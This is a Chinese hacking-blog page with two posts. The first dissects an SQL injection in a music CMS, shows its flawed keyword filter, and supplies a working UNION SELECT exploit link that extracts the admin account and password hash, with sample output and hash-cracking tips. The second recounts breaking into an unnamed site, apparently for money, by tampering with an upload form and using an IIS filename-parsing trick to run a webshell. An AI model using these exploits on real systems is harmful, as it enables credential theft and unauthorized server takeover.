浏览模式: 标准 | 列表Tag:分析

七禧舞曲管理系统 v3.0 0day分析

Submitted by admin
2010, January 24, 9:58 AM

<!--#Include File="CmsDj.Conn.asp"-->
<!--#Include File="CmsDj.Function.asp"-->
<%
From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
If mid(From_url,8,len(Serv_url)) <> Serv_url Then    //判断REFERER
     Response.Write "不支持外部链接!"
     Response.End
End If
id=SafeRequest("id","get")    //获取参数id
ac=SafeRequest("ac","get")    //获取 ac
   Set CmsDjMusic = New CmsDj_Com_Dj
   Set CmsDjServer = New CmsDj_Com_Server
   Set Rs = CmsDjMusic.GetRs("CD_ID,CD_Url,CD_Server,CD_Singer,CD_Name,CD_ClassID",0,"CD_ID="&ID)    //id带入 SQL
        If rs.EOF And rs.BOF Then
             Response.write " "
             Response.End

Else
             If Rs("CD_Server")<>0 Then
                  Set RsServer = CmsDjServer.GetRs("CD_Url",0,"CD_ID="&Rs("CD_Server"))
                       PlayUrl = RsServer("CD_Url")&Rs("CD_Url")
                  Set RsServer = Nothing
             Else
                  PlayUrl = Rs("CD_Url")
             End If
        End If
        CD_Url=LCase(Rs("CD_Url"))
        If left(CD_Url,18)="http://www.rayfile" Then
             HttpUrl=CD_Url
             CmsDj_Com_RayFileA = GetHttpPage(HttpUrl,"utf-8")
             CmsDj_Com_RayFileB=GetBody(CmsDj_Com_RayFileA,"<div class=""btn_indown_zh-cn""><a href=""","""></a></div><div id=""divsavetomyfile""",False,False)
             CmsDj_Com_RayFileC = GetHttpPage(CmsDj_Com_RayFileB,"utf-8")
             PlayUrl=GetBody(CmsDj_Com_RayFileC,"var downloads_url = ['","'];",False,False)
        End If
        If ac="lplay" Then
             Response.Write "var i"&rs("CD_ID")&"="""&rs("CD_ID")&""";var s"&rs("CD_ID")&"="""&rs("CD_Singer")&""";var n"&rs("CD_ID")&"="""&rs("CD_Name")&""";var u"&rs("CD_ID")&"="""&PlayUrl&""";var t"&rs("CD_ID")&"="""&rs("CD_ClassID")&""";"    //打印内容
        Else
             Response.write PlayUrl
        End If
   Set Rs = Nothing
%>
SafeRequest 函数 代码:
Function SafeRequest(Key,Modes)
        Dim ParaValue,strFilter,FilterArr,i
        Select Case Lcase(Modes)
                Case "get"
                        ParaValue=Trim(Request.QueryString(Key))
                Case "post"
                        ParaValue=Trim(Request.Form(Key))
                Case "auto"
                        ParaValue=Trim(Request(Key))
        End Select
        IF IsNum(ParaValue) Then
                SafeRequest=ParaValue
                Exit Function
        Else     //如果获取的参数值不为数字  ,这检查是否包含以下关键字
            strFilter="'|and|(|)|exec|insert|select|delete|update|*|chr|mid|master|truncate|declare"  
                FilterArr=Split(strFilter,"|")
                For i=0 To Ubound(FilterArr)
                        IF Instr(ParaValue,FilterArr(i))>0 Then
                                ParaValue=ReplaceStr(ParaValue,FilterArr(i),DBC2SBC(FilterArr(i),0))
                        End IF
                Next
                SafeRequest=ParaValue
        End IF
        SafeRequest = FilterScript(SafeRequest)
End Function
但却没有考虑大小写,同时判断了REFERER,只要带上REFERER同时大小写下sql语句就行了
exp:
javascript:document.write("<a href='/include/GetUrl.asp?ac=lplay&id=-1 Union Select CD_AdminUserName,CD_AdminPassWord,null,4,5,6 From CmsDj_Admin'>Click me</a>");void(0);



var iadmin="admin";var sadmin="4";var nadmin="5";var uadmin="1bfb4b8ad622424eb8302ae5d622424eb8302ae5";var tadmin="6";



其中iadmin=后面是帐号,uadmin="后面是md5,注意md5只取前16位破解就行了

来源:16system.cn

一次渗透中的上传漏洞分析

Submitted by admin
2010, January 23, 9:22 PM

作者:斌少

前几天  一朋友在熟人群里丢了个站(貌似还是我给他的地址让他弄点小钱)说是有个上传可以利用但是传上去不能解析 我看了下

大小: 18.49 K
尺寸: 469 x 170
浏览: 81 次
点击打开新窗口浏览全图

本以为这种可以直接欺骗绕过去 但是试了下常见的方法都绕不过去

改成upload.asp 试了下截断 无果 正想试试nc 朋友那边发来消息 说nc解决不了

整站应该就这比较好突破 看了下源文件 突然发现一个地方好像可以利用

 

ASP/Visual Basic代码
  1. <td bgcolor=#ffffff align=center><font color=red>正在上传文件,请稍候...</font></td>   
  2. </tr>   
  3. </table>   
  4. </td><td width=20%></td>   
  5. </tr></table></div>   
  6. <table class="tableBorder" width="90%" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#FFFFFF">   
  7. <tr>    
  8. <td align="center" background="../images/admin_bg_1.gif"><b><font color="#ffffff">图片上传    
  9. <input type="hidden" name="filepath" value="GoodsPic/">   
  10. <input type="hidden" name="Filetype" value="jpg,gif">   
  11. <input type="hidden" name="EditName" value="goodspic">   
  12. <input type="hidden" name="FormName" value="myform">   
  13. <input type="hidden" name="act" value="uploadfile"></font></b>   
  14.   

嘿嘿 有希望了 把hidden全部改成test 然后把uploadfile删除 最后把action补上

然后保存本地 一般来说 对于这种上传 这样就可以直接上传asp了 但是我试了下 发现还是不行 那么只好修改路径了

大小: 18.05 K
尺寸: 500 x 205
浏览: 29 次
点击打开新窗口浏览全图

路径改成1.asp/上传个小马上去 发现解析不了。在换1.asp;/ 还是不行。ping了下看TLL(虽然这个可以改 但是很少人去改)117 可能是被杀了。换了个免杀的上去 还是不行 有点烦躁。抽根烟 想了想 既然可以任意修改上传文件名 上去又不解析? 难道不是IIS? 但是他服务器上面都是asp的 没有php的 不至于的。 突然想到。既然可以任意文件名 那么 把1.asp;.jpg这样的改成1.asp;说不定可以解析 丢了个小马上去 哈哈 果然解析了。

大小: 20.53 K
尺寸: 500 x 223
浏览: 33 次
点击打开新窗口浏览全图

本文没什么创意 无非就是细心的观察..